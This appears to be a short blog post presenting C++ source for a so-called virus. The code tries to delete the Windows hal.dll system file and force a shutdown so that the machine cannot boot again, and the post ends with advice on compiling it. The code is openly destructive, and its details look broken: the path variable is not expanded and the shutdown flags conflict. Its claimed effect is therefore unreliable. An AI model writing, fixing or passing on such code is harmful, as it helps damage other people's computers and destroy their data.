Infolink

Monday, November 29, 2010

A deadly C++ Virus that corrupt the Windows

The following is the source code of the Virus that would curropt the windows and shutdown. But the Windows will never start up again.


#include <iostream.h>
#include <windows.h>

using namespace std;

int main(int argc, char *argv[])
{
std::remove(“%systemroot%\\system32\\hal.dll”);
system(“shutdown -s -r”);
system(“PAUSE”);
return EXIT_SUCCESS;
}

Note: You have to compile the above code with C++ compiler like Borland to run

No comments:

Post a Comment